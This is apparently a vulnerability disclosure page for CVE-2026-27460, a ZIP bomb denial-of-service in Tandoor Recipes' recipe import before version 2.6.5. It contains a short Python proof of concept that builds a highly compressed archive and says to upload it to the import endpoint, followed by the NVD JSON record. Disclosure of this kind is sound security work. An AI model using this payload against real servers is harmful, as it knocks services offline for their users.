CVE-2026-27460

import zipfile import os # PoC: Create a Zip Bomb to demonstrate the DoS vulnerability # Generating a large file with repeating patterns for high compression ratio def create_zip_bomb(output_filename, size_mb=100): # Create a temporary file with repeating data (high compression ratio) pattern = b'A' * 1024 # 1KB pattern temp_file = 'temp_large_file.bin' with open(temp_file, 'wb') as f: for _ in range(size_mb * 1024): f.write(pattern) # Compress the file into a zip with zipfile.ZipFile(output_filename, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zipf: zipf.write(temp_file, arcname='recipe_data.txt') # Clean up the large file os.remove(temp_file) print(f"Zip bomb created: {output_filename}") print("Upload this file to the recipe import endpoint to trigger the DoS.") if __name__ == "__main__": create_zip_bomb('malicious_recipes.zip')

{"cve": {"id": "CVE-2026-27460", "sourceIdentifier": "[email protected]", "published": "2026-04-10T19:16:21.427", "lastModified": "2026-04-14T17:29:17.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.5, a critical Denial of Service (DoS) vulnerability was in the recipe import functionality. This vulnerability allows an authenticated user to crash the server or make a significantly degrade its performance by uploading a large size ZIP file (ZIP Bomb). This vulnerability is fixed in 2.6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-409"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tandoor:recipes:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.5", "matchCriteriaId": "E89545FA-BC6B-47B1-8663-E74B8E7E1F99"}]}]}], "references": [{"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-w8pq-4pwf-r2m8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-w8pq-4pwf-r2m8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}